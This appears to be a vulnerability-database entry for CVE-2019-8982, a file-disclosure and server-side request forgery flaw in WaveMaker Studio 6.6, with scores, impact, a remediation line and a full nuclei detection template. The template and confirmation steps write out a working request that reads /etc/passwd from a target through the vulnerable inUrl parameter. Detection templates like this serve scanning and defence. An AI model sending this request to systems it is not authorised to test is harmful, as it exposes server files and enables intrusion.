HexBrain

Browse / CVEs / CVE-2019-8982

CVE-2019-8982· wavemaker / wavemarker studio· CWE-918

Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery

criticalseverity
9.6CVSS score
28%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery.

Impact

Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive files and potential server-side request forgery attacks.

Fix

Apply the latest security patches and updates provided by Wavemaker Studio to mitigate these vulnerabilities.

How to confirm it

Send: GET {{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-8982 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-8982

info:
  name: Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery
  author: madrobot
  severity: critical
  description: "WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery."
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive files and potential server-side request forgery attacks.
  remediation: |
    Apply the latest security patches and updates provided by Wavemaker Studio to mitigate these vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/45158
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8982
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2019-8982
    cwe-id: CWE-918
    epss-score: 0.27963
    epss-percentile: 0.98116
    cpe: cpe:2.3:a:wavemaker:wavemarker_studio:6.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavemaker
    product: wavemarker_studio
  tags: cve,cve2019,wavemaker,lfi,ssrf,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from